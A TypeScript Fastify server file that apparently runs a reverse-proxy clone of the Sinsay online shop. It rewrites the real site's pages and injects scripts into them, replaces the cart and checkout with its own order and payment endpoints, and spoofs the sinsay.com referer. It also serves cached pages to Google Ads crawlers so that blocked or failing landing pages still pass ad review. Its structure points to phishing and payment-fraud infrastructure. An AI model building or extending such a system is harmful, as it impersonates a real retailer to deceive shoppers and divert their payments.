import 'dotenv/config';
import Fastify, { type FastifyRequest } from 'fastify';
import fastifyCookie from '@fastify/cookie';
import fastifyFormbody from '@fastify/formbody';
import fastifyBasicAuth from '@fastify/basic-auth';

import { config } from './config';
import { buildUpstreamHeaders, processResponseHeaders } from './proxy/headers';
import {
  FALLBACK_LANDING_HTML,
  getCachedLanding,
  isAdsDestinationBot,
  isLandingPath,
  setCachedLanding,
  startLandingCacheRefresh,
} from './proxy/landingCache';
import { isRewritable, rewriteBody } from './proxy/rewrite';
import { proxyUpstream } from './proxy/upstream';
import { isAkamaiBlockedResponse } from './proxy/blockDetect';
import { buildInjectScript } from './inject';
import { buildEarlyNetworkGuard } from './inject/earlyNetworkGuard';
import { stripLocalhostTrackers } from './inject/stripLocalhostTrackers';
import { visitorMiddleware } from './middleware/visitor';
import {
  handleCartGet,
  handleCartAdd,
  handleCartRemove,
  handleCartUpdate,
} from './intercept/cart';
import { handleMirrorCartAdd, maybePatchCartGrpcBody } from './intercept/cartMirror';
import {
  handleCheckoutCss,
  handleCheckoutJs,
  handleCheckoutLegacyRedirect,
  handleOrderSubmit,
  trackCheckoutOrderVisit,
} from './intercept/checkout';
import { handleCheckoutCatalog } from './intercept/checkoutCatalog';
import { handleCheckoutPathRedirect } from './intercept/checkoutPathGuard';
import { handleCheckoutSession } from './intercept/checkoutSession';
import { handleSinsayAjxProxy } from './intercept/sinsayApiProxy';
import { registerBotApiRoutes } from './api/bot';
import { registerCheckoutRoutes } from './api/checkoutRoutes';
import { registerOrderPaymentRoutes } from './api/orderPaymentRoutes';
import { buildCheckoutPaymentBridge } from './inject/checkoutPaymentBridge';
import {
  handleCookieDeclaration,
  patchCookiesListPage,
} from './intercept/cookieDeclaration';
import {
  handleGoogleMapsBridge,
  handleGoogleMapsProxy,
  handleGoogleMapsServiceWorker,
  patchStoreLocatorPage,
  buildGoogleMapsBridgeInlineTag,
  injectGoogleMapsBridge,
} from './intercept/googleMapsProxy';
import { handleLuigisboxProxy } from './intercept/luigisbox';
import { handleArchProductProxy } from './intercept/archProxy';
import { handleWishlistApiProxy } from './intercept/wishlist';
import { handleZowieProxy, handleZowieRootProxy, attachZowieWebSocketProxy } from './intercept/zowieProxy';
import { supportRoutes } from './support/routes';
import {
  handlePaymentOrderApi,
  handlePaymentOrderFetch,
  handlePaymentWebhook,
  handlePaymentReturn,
  handlePaymentCancel,
} from './intercept/payment';
import { handleAuroraWebhook } from './intercept/aurora';
import { adminRoutes } from './routes/admin';
import { paymentPrototypeRoutes } from './routes/paymentPrototype';
import { startBot } from './tg/bot';
import { startSupportBot } from './tg/supportBot';
import { getRedis } from './redis';
import { startProductStatsFlusher } from './stats/productStats';
import { scannerBlocker } from './security/scannerBlocker';
import { registerAnalyticsRoutes } from './analytics/register';

const app = Fastify({
  logger: {
    level: process.env.NODE_ENV === 'development' ? 'info' : 'warn',
    transport: process.env.NODE_ENV === 'development'
      ? { target: 'pino-pretty' }
      : undefined,
  },
  trustProxy: true,
  bodyLimit: 10 * 1024 * 1024,
});

/** Coerce whatever Fastify parsed for the request body into a Buffer (or null). */
function bufferFromBody(body: unknown, contentType = ''): Buffer | null {
  if (body == null) return null;
  if (Buffer.isBuffer(body)) return body.length ? body : null;
  if (typeof body === 'string') return body.length ? Buffer.from(body, 'utf8') : null;
  if (body instanceof Uint8Array) return Buffer.from(body);

  // Fastify formbody parses application/x-www-form-urlencoded into an object.
  // Re-encode it as form data for upstream Sinsay AJAX endpoints.
  if (contentType.toLowerCase().includes('application/x-www-form-urlencoded')) {
    const params = new URLSearchParams();
    for (const [key, value] of Object.entries(body as Record<string, unknown>)) {
      if (Array.isArray(value)) {
        for (const item of value) params.append(key, String(item));
      } else if (value != null) {
        params.append(key, String(value));
      }
    }
    const encoded = params.toString();
    return encoded ? Buffer.from(encoded, 'utf8') : null;
  }

  // JSON objects parsed by other parsers — re-serialize as JSON.
  try {
    return Buffer.from(JSON.stringify(body), 'utf8');
  } catch {
    return null;
  }
}

function requestMirrorOrigin(request: FastifyRequest): { origin: string; domain: string } {
  const domain = String(request.headers.host ?? config.domain) || config.domain;
  const hostname = domain.replace(/:\d+$/, '');
  const isLocal = hostname === 'localhost' || hostname.startsWith('127.');
  const protoHeader = String(request.headers['x-forwarded-proto'] ?? '')
    .split(',')[0]
    .trim();
  // Local dev serves plain HTTP only; Cursor/proxies often send x-forwarded-proto: https
  // which would rewrite arch/cart URLs to https://localhost → "Failed to fetch".
  const proto = isLocal
    ? 'http'
    : protoHeader === 'http' || protoHeader === 'https'
      ? protoHeader
      : 'https';
  return { origin: `${proto}://${domain}`, domain };
}

async function bootstrap(): Promise<void> {
  // ---- Plugins ----
  await app.register(fastifyCookie, { secret: config.session.secret });
  await app.register(fastifyFormbody);
  app.addHook('onRequest', scannerBlocker);

  // Buffer-parsers for binary content types upstream may send (gRPC-web, protobuf, etc.)
  // Without this, Fastify rejects requests with 415 Unsupported Media Type.
  app.addContentTypeParser(
    [
      'application/grpc-web+proto',
      'application/grpc-web-text',
      'application/grpc-web',
      'application/octet-stream',
      'application/protobuf',
      'application/x-protobuf',
      'application/json+protobuf',
    ],
    { parseAs: 'buffer' },
    (_req, body, done) => done(null, body),
  );

  // Wildcard catch-all parser: any other content-type → raw Buffer.
  // Keeps the proxy able to forward arbitrary upstream bodies.
  app.addContentTypeParser(
    '*',
    { parseAs: 'buffer' },
    (_req, body, done) => done(null, body),
  );

  // ---- Basic auth for admin ----
  await app.register(fastifyBasicAuth, {
    validate: async (username, password) => {
      if (username !== config.admin.user || password !== config.admin.pass) {
        return new Error('Unauthorized');
      }
    },
    authenticate: { realm: 'Sinsay Admin' },
  });

  // ---- Admin routes (behind basic auth) ----
  await app.register(
    async (adminApp) => {
      adminApp.addHook('onRequest', app.basicAuth);
      await adminApp.register(adminRoutes);
    },
    { prefix: config.admin.path },
  );

  // ---- Cookie declaration (cookies-list page) ----
  app.get(config.intercept.cookieDeclarationPath, handleCookieDeclaration);

  // ---- Google Maps proxy (store locator — spoof sinsay.com referer) ----
  app.get(config.intercept.googleMapsBridgePath, handleGoogleMapsBridge);
  app.get(config.intercept.googleMapsSwPath, handleGoogleMapsServiceWorker);
  app.all(`${config.intercept.googleMapsProxyPrefix}/:host/*`, handleGoogleMapsProxy);
  app.get(`${config.intercept.luigisboxProxyPrefix}/*`, handleLuigisboxProxy);
  app.get(`${config.intercept.archProxyPrefix}/api/17/product/:sku`, handleArchProductProxy);
  app.all(`${config.intercept.wishlistApiProxyPrefix}/*`, handleWishlistApiProxy);
  app.all(`${config.intercept.zowieProxyPrefix}/*`, handleZowieProxy);

  // Zowie widget uses same-origin API paths when script is proxied
  app.all('/api/v1/core/*', handleZowieRootProxy);
  app.all('/api/v1/herochat-plugin/*', handleZowieRootProxy);
  app.all('/api/v1/tr/webhook/*', handleZowieRootProxy);
  app.all('/web/chat-core/*', handleZowieRootProxy);
  app.all('/web/chat-widget/*', handleZowieRootProxy);

  await supportRoutes(app);

  await registerAnalyticsRoutes(app);

  // ---- Heartbeat ping (visitor "online now") ----
  app.post(config.intercept.pingPath, async (request, reply) => {
    const visitorId =
      (request.cookies as Record<string, string>)[config.session.visitorCookieName];
    if (visitorId) {
      const redis = getRedis();
      const now = Date.now();
      const cutoff = now - config.onlineWindowSec * 1000;
      await redis.zadd('online:visitors', now, visitorId);
      await redis.zremrangebyscore('online:visitors', '-inf', cutoff);
    }
    reply.status(204).send();
  });

  // ---- Local payment gateway prototype (no external processing) ----
  await app.register(paymentPrototypeRoutes);

  // ---- Mirror cart add (official fastend gRPC) + legacy JSON basket for bots ----
  app.post('/api/mirror/cart/add', handleMirrorCartAdd);

  // ---- Cart API intercept ----
  // Upstream SPA uses /checkout/cart without trailing slash — redirect to our page
  app.get('/pl/pl/checkout/cart', handleCheckoutPathRedirect);
  app.get('/pl/pl/checkout/order', handleCheckoutPathRedirect);
  for (const prefix of config.intercept.cartPathPrefixes) {
    app.get(prefix, handleCartGet);
    app.get(`${prefix}/`, handleCartGet);
    app.post(`${prefix}/items`, handleCartAdd);
    app.post(`${prefix}/items/`, handleCartAdd);
    app.delete(`${prefix}/items/:itemId`, handleCartRemove);
    app.put(`${prefix}/items/:itemId`, handleCartUpdate);
    app.patch(`${prefix}/items/:itemId`, handleCartUpdate);
  }

  // ---- Sinsay real cart backend (gRPC-web) ----
  // Verified real cart methods are hosted on fastend.sinsay.com under
  // /cart_hamster.cart.CartService/*. We proxy these binary protobuf calls
  // instead of trying to coerce them into JSON, so the original Sinsay cart UI
  // can still render while our own checkout intercept remains available.
  app.all('/cart_hamster.cart.CartService/*', async (request, reply) => {
    const method = request.method;
    const path = request.url.split('?')[0] || request.url;
    const upstreamHeaders = buildUpstreamHeaders(
      request.headers as Record<string, string>,
      'fastend.sinsay.com',
      { preserveClientCookies: true },
    );

    const body = bufferFromBody(request.body, String(request.headers['content-type'] ?? ''));

    const upstream = await proxyUpstream({
      method,
      path,
      headers: upstreamHeaders,
      body,
      target: 'fastend',
    });

    const mirror = requestMirrorOrigin(request);
    const responseHeaders = processResponseHeaders(
      upstream.headers as Record<string, string | string[]>,
      {
        mirrorOrigin: mirror.origin,
        mirrorDomain: mirror.domain,
        requestOrigin: String(request.headers.origin ?? '') || undefined,
      },
    );
    for (const [k, v] of Object.entries(responseHeaders)) {
      reply.header(k, v as string);
    }
    let responseBody = upstream.body;
    responseBody = maybePatchCartGrpcBody(path, responseBody);

    reply.status(upstream.statusCode).send(responseBody);
  });

  // ---- Checkout session, catalog, Sinsay AJAX proxy, page + order API ----
  app.get(config.intercept.checkoutSessionPath, handleCheckoutSession);
  app.get(config.intercept.checkoutCatalogPath, handleCheckoutCatalog);
  await registerCheckoutRoutes(app);
  await registerOrderPaymentRoutes(app);
  app.all(`${config.intercept.sinsayAjxProxyPrefix}/*`, handleSinsayAjxProxy);
  app.get('/checkout.js', handleCheckoutJs);
  app.get('/checkout.css', handleCheckoutCss);
  app.get(config.intercept.checkoutPath, handleCheckoutLegacyRedirect);
  app.post(config.intercept.orderApiPath, handleOrderSubmit);
  await registerBotApiRoutes(app);

  // ---- Payment gateway endpoints (felopay legacy + AuroraPay) ----
  app.get('/orderapi', handlePaymentOrderApi);
  app.get<{ Params: { token: string } }>('/api/payment/orders/:token', handlePaymentOrderFetch);
  app.post('/api/payment/webhook', handlePaymentWebhook);
  app.post('/api/aurora/webhook', handleAuroraWebhook);
  app.get('/checkout/return', handlePaymentReturn);
  app.get('/checkout/cancel', handlePaymentCancel);

  // ---- CDN media proxy (stream, no rewrite) ----
  const cdnPrefix = config.cdnPrefix;
  app.get(`${cdnPrefix}/*`, async (request, reply) => {
    const mediaPath = (request.params as Record<string, string>)['*'];
    const upstreamHeaders = buildUpstreamHeaders(
      request.headers as Record<string, string>,
      'media.sinsay.com',
    );

    const upstream = await proxyUpstream({
      method: 'GET',
      path: `/${mediaPath}`,
      headers: upstreamHeaders,
      target: 'media',
    });

    const responseHeaders = processResponseHeaders(
      upstream.headers as Record<string, string | string[]>,
    );
    for (const [k, v] of Object.entries(responseHeaders)) {
      reply.header(k, v as string);
    }
    // Long cache for media
    reply.header('cache-control', 'public, max-age=86400, stale-while-revalidate=3600');
    reply.status(upstream.statusCode).send(upstream.body);
  });

  // ---- Static asset proxy: static.sinsay.com ----
  const staticCdnPrefix = config.staticCdnPrefix;
  app.get(`${staticCdnPrefix}/*`, async (request, reply) => {
    const staticPath = (request.params as Record<string, string>)['*'];
    const upstreamHeaders = buildUpstreamHeaders(
      request.headers as Record<string, string>,
      'static.sinsay.com',
    );

    const upstream = await proxyUpstream({
      method: 'GET',
      path: `/${staticPath}`,
      headers: upstreamHeaders,
      target: 'static',
    });

    const responseHeaders = processResponseHeaders(
      upstream.headers as Record<string, string | string[]>,
    );
    for (const [k, v] of Object.entries(responseHeaders)) {
      reply.header(k, v as string);
    }
    reply.header('cache-control', 'public, max-age=86400, stale-while-revalidate=3600');
    reply.status(upstream.statusCode).send(upstream.body);
  });

  // ---- Visitor middleware on all remaining routes ----
  app.addHook('preHandler', async (request, reply) => {
    const url = request.url;
    // Skip for admin, ping, CDN, and static assets
    if (
      url.startsWith(config.analytics.dashboardPath) ||
      url.startsWith(config.analytics.apiPrefix) ||
      url === '/analytics.js' ||
      url === '/checkout.js' ||
      url === '/checkout.css' ||
      url.startsWith('/api/checkout/') ||
      url === '/api/mirror/cart/add' ||
      url.startsWith('/api/bot/') ||
      url.startsWith('/pl/pl/ajx/') ||
      url.startsWith(config.admin.path) ||
      url.startsWith(config.intercept.pingPath) ||
      url.startsWith(config.intercept.cookieDeclarationPath) ||
      url.startsWith(config.intercept.googleMapsBridgePath) ||
      url.startsWith(config.intercept.googleMapsSwPath) ||
      url.startsWith(config.intercept.googleMapsProxyPrefix) ||
      url.startsWith(config.intercept.luigisboxProxyPrefix) ||
      url.startsWith(config.intercept.archProxyPrefix) ||
      url.startsWith(config.intercept.wishlistApiProxyPrefix) ||
      url.startsWith(config.intercept.zowieProxyPrefix) ||
      url.startsWith(config.intercept.supportApiPrefix) ||
      url.startsWith('/api/v1/core/') ||
      url.startsWith('/api/v1/herochat-plugin/') ||
      url.startsWith('/api/v1/tr/webhook/') ||
      url.startsWith('/web/chat-core/') ||
      url.startsWith('/web/chat-widget/') ||
      url.startsWith(config.cdnPrefix) ||
      url.startsWith(config.staticCdnPrefix) ||
      url.startsWith('/api/payment/') ||
      url.startsWith('/api/aurora/') ||
      url.startsWith('/checkout/return') ||
      url.startsWith('/checkout/cancel') ||
      url.startsWith('/_next/static/') ||
      url.match(/\.(ico|png|jpg|jpeg|gif|svg|webp|woff|woff2|ttf|css|map)$/)
    ) {
      return;
    }
    await visitorMiddleware(request, reply);
  });

  // ---- Force Polish locale: redirect bare/locale roots to /pl/pl/ ----
  app.get('/', async (_request, reply) => {
    reply.redirect('/pl/pl/', 302);
  });
  // Any other /xx/yy/* (de/de, en/gb, etc.) → rewrite to /pl/pl/* upstream
  app.addHook('onRequest', async (request, reply) => {
    const url = request.url;
    const m = url.match(/^\/([a-z]{2})\/([a-z]{2})(\/.*)?$/i);
    if (m && (m[1].toLowerCase() !== 'pl' || m[2].toLowerCase() !== 'pl')) {
      const rest = m[3] ?? '/';
      reply.redirect(`/pl/pl${rest}`, 302);
    }
  });

  // Google Ads crawlers must always get HTTP 200 on the landing URL — serve warm cache first.
  app.addHook('onRequest', async (request, reply) => {
    if (request.method !== 'GET' && request.method !== 'HEAD') return;
    const pathOnly = request.url.split('?')[0] || '/';
    if (!isLandingPath(pathOnly)) return;
    const ua = String(request.headers['user-agent'] ?? '');
    if (!isAdsDestinationBot(ua)) return;

    const cached = await getCachedLanding();
    if (!cached) return;

    if (request.method === 'HEAD') {
      reply.status(200).type('text/html; charset=UTF-8');
      reply.header('X-Bot-Landing', 'cache');
      return reply.send();
    }

    const mirror = requestMirrorOrigin(request);
    reply.status(200).type('text/html; charset=UTF-8');
    reply.header('X-Bot-Landing', 'cache');
    return reply.send(isRewritable('text/html') ? rewriteBody(cached, mirror) : cached);
  });

  // ---- Main reverse proxy — catch-all ----
  app.all('/*', async (request, reply) => {
    const method = request.method;
    const path = request.url;
    const pathOnly = path.split('?')[0] || '/';
    const ua = String(request.headers['user-agent'] ?? '');
    const adsBot = isAdsDestinationBot(ua);
    const mirror = requestMirrorOrigin(request);

    const upstreamHeaders = buildUpstreamHeaders(
      request.headers as Record<string, string>,
      'www.sinsay.com',
    );

    const body = bufferFromBody(request.body, String(request.headers['content-type'] ?? ''));

    let upstream;
    try {
      upstream = await proxyUpstream({ method, path, headers: upstreamHeaders, body });
    } catch (err) {
      app.log.error({ err }, 'upstream error');
      if (adsBot && isLandingPath(pathOnly)) {
        const cached = await getCachedLanding();
        if (cached) {
          reply.status(200).type('text/html; charset=UTF-8');
          reply.header('X-Bot-Landing', 'cache-fallback');
          return reply.send(isRewritable('text/html') ? rewriteBody(cached, mirror) : cached);
        }
        reply.status(200).type('text/html; charset=UTF-8');
        reply.header('X-Bot-Landing', 'static-fallback');
        return reply.send(FALLBACK_LANDING_HTML);
      }
      reply.status(502).send('Bad Gateway');
      return;
    }

    if (adsBot && isLandingPath(pathOnly) && upstream.statusCode >= 400) {
      const cached = await getCachedLanding();
      if (cached) {
        reply.status(200).type('text/html; charset=UTF-8');
        reply.header('X-Bot-Landing', 'cache-fallback');
        return reply.send(isRewritable('text/html') ? rewriteBody(cached, mirror) : cached);
      }
      reply.status(200).type('text/html; charset=UTF-8');
      reply.header('X-Bot-Landing', 'static-fallback');
      return reply.send(FALLBACK_LANDING_HTML);
    }

    const blocked = isAkamaiBlockedResponse(
      upstream.statusCode,
      upstream.headers as Record<string, string | string[] | undefined>,
      upstream.body,
    );
    if (blocked && isLandingPath(pathOnly)) {
      const cached = await getCachedLanding();
      if (cached) {
        reply.status(200).type('text/html; charset=UTF-8');
        reply.header('X-Mirror-Fallback', 'landing-cache');
        return reply.send(isRewritable('text/html') ? rewriteBody(cached, mirror) : cached);
      }
    }

    const mirrorHeaders = {
      mirrorOrigin: mirror.origin,
      mirrorDomain: mirror.domain,
      requestOrigin: String(request.headers.origin ?? '') || undefined,
    };
    const responseHeaders = processResponseHeaders(
      upstream.headers as Record<string, string | string[]>,
      mirrorHeaders,
    );

    const contentType = (upstream.headers['content-type'] as string | undefined) ?? '';
    let responseBody = upstream.body;

    if (isRewritable(contentType)) {
      responseBody = rewriteBody(responseBody, mirror);

      if (contentType.includes('text/html') && path.includes('/cookies-list')) {
        const patched = await patchCookiesListPage(responseBody.toString('utf8'));
        responseBody = Buffer.from(patched, 'utf8');
      }

      if (contentType.includes('text/html') && path.includes('/storelocator')) {
        const patched = patchStoreLocatorPage(responseBody.toString('utf8'));
        responseBody = Buffer.from(patched, 'utf8');
      }

      // Inject proxy scripts into HTML (early guard in <head>, main bundle before </body>)
      if (contentType.includes('text/html') && !blocked) {
        if (
          method === 'GET' &&
          upstream.statusCode === 200 &&
          (pathOnly === '/pl/pl/checkout/order' || pathOnly === '/pl/pl/checkout/order/')
        ) {
          void trackCheckoutOrderVisit(request);
        }
        const earlyGuard = buildEarlyNetworkGuard();
        let html = responseBody.toString('utf8');
        if (config.isLocal) {
          html = stripLocalhostTrackers(html);
        }
        const isCheckoutOrder =
          pathOnly === '/pl/pl/checkout/order' ||
          pathOnly === '/pl/pl/checkout/order/';
        if (!isCheckoutOrder) {
          html = injectGoogleMapsBridge(html);
        }
        const headMatch = html.match(/<head\b[^>]*>/i);
        if (headMatch && headMatch.index !== undefined) {
          const insertAt = headMatch.index + headMatch[0].length;
          const headInject =
            (isCheckoutOrder
              ? buildGoogleMapsBridgeInlineTag() + buildCheckoutPaymentBridge()
              : '') + earlyGuard;
          const patched =
            html.slice(0, insertAt) + headInject + html.slice(insertAt);
          responseBody = Buffer.from(patched, 'utf8');
        } else {
          responseBody = Buffer.concat([Buffer.from(earlyGuard), responseBody]);
        }

        const script = buildInjectScript();
        const bodyTag = Buffer.from('</body>');
        const idx = responseBody.lastIndexOf(bodyTag);
        if (idx !== -1) {
          responseBody = Buffer.concat([
            responseBody.subarray(0, idx),
            Buffer.from(script),
            responseBody.subarray(idx),
          ]);
        } else {
          responseBody = Buffer.concat([responseBody, Buffer.from(script)]);
        }
      }
    }

    if (config.isLocal && /googletagmanager\.js$/i.test(pathOnly)) {
      responseBody = Buffer.from('/* GTM disabled on localhost */\n');
    }

    if (
      method === 'GET' &&
      isLandingPath(pathOnly) &&
      upstream.statusCode === 200 &&
      contentType.includes('text/html') &&
      responseBody.length > 1024
    ) {
      void setCachedLanding(responseBody);
    }

    for (const [k, v] of Object.entries(responseHeaders)) {
      reply.header(k, v as string);
    }
    reply.status(upstream.statusCode).send(responseBody);
  });

  await app.listen({ port: config.port, host: '0.0.0.0' });
  attachZowieWebSocketProxy(app.server);
  console.log(`[server] Listening on port ${config.port}`);
  if (config.isLocal && !config.googleMaps.useMirrorKey) {
    console.warn(
      '[google-maps] GOOGLE_MAPS_API_KEY is not set — pickup maps will show a domain error on localhost. See app/.env.example.',
    );
  } else if (config.googleMaps.useMirrorKey) {
    console.log('[google-maps] Using GOOGLE_MAPS_API_KEY for Maps (localhost-compatible).');
  }

  // ---- Landing page cache (Google Ads destination) ----
  startLandingCacheRefresh();

  // ---- Aggregated product stats ----
  startProductStatsFlusher();

  // ---- Telegram bot ----
  startBot();
  startSupportBot();
}

bootstrap().catch((err) => {
  console.error('[server] Fatal error during startup:', err);
  process.exit(1);
});
